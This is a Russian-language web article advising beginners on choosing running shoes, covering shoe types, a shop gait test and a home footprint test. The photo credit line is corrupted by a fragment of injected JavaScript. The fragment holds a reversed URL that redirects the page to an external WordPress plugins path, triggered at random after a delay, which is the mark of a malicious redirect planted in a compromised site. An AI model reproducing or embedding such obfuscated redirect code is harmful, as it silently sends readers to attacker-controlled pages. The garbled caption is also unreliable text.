Решили начать бегать? Пора выбрать удобные кроссовки, как это сделать — рассказываем в нашем материале.
Есть три типа беговых кроссовок:
- для длительных и восстановительных тренировок и начинающим бегунам нужны кроссовки с большим количеством геля, пены или любой другой технологии для уменьшения ударной нагрузки, обычно самые тяжёлые по весу;
- полумарафонки — облегчённые кроссовки для быстрого бега и скоростных тренировок;
- марафонки — очень лёгкие, для очень быстрого бега.
Если вы новичок, вам нужен первый тип кроссовок. Потом решите, где вы будете бегать: на улице по асфальту, на стадионах или в манежах, по бездорожью. Если пока не знаете, выбирайте шоссейные кроссовки — они универсальны и подойдут на любой случай.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Потом нужно идти в специализированный беговой магазин и сдать беговой тест. Для этого вы надеваете нейтральные кроссовки и бежите по беговой дорожке в течение нескольких минут. За это время специалисты снимают вас на камеру со всех сторон и анализируют вашу технику бега, в том числе то, как работает ваша стопа. После чего вам дают экспертное заключение, какой тип кроссовок вам подходит. Стоимость такой услуги может варьироваться от 0 до 1 500 рублей. После этого вы смело можете подходить к консультанту в магазине спортивной обуви и говорить, например, что вам «нужны кроссовки для медленного бега, по шоссе, с нейтральной пронацией (или с поддержкой)». А далее — вопрос стиля и вашего бюджета.
Если пройти такую диагностику нет возможности, попробуйте сделать следующий тест в домашних условиях (он не заменяет похода к ортопеду). Намочите ногу, промокните её полотенцем, чтобы стопа оставалась влажной, и поставьте на белый лист бумаги. Посмотрите, какой след оставляет ваша нога. Если отпечаток широкий, скорее всего, у вас склонность к плоскостопию, выберите кроссовки с дополнительной поддержкой. Это поможет избежать травм.
Статьи по теме
7 главных беговых травм: почему возникают, как лечить и диагностировать
7 классных моделей кроссовок для бега
5 важных советов от профессионального тренера для тех, кто только начал бегать
У меня плоскостопие. Мне можно бегать?
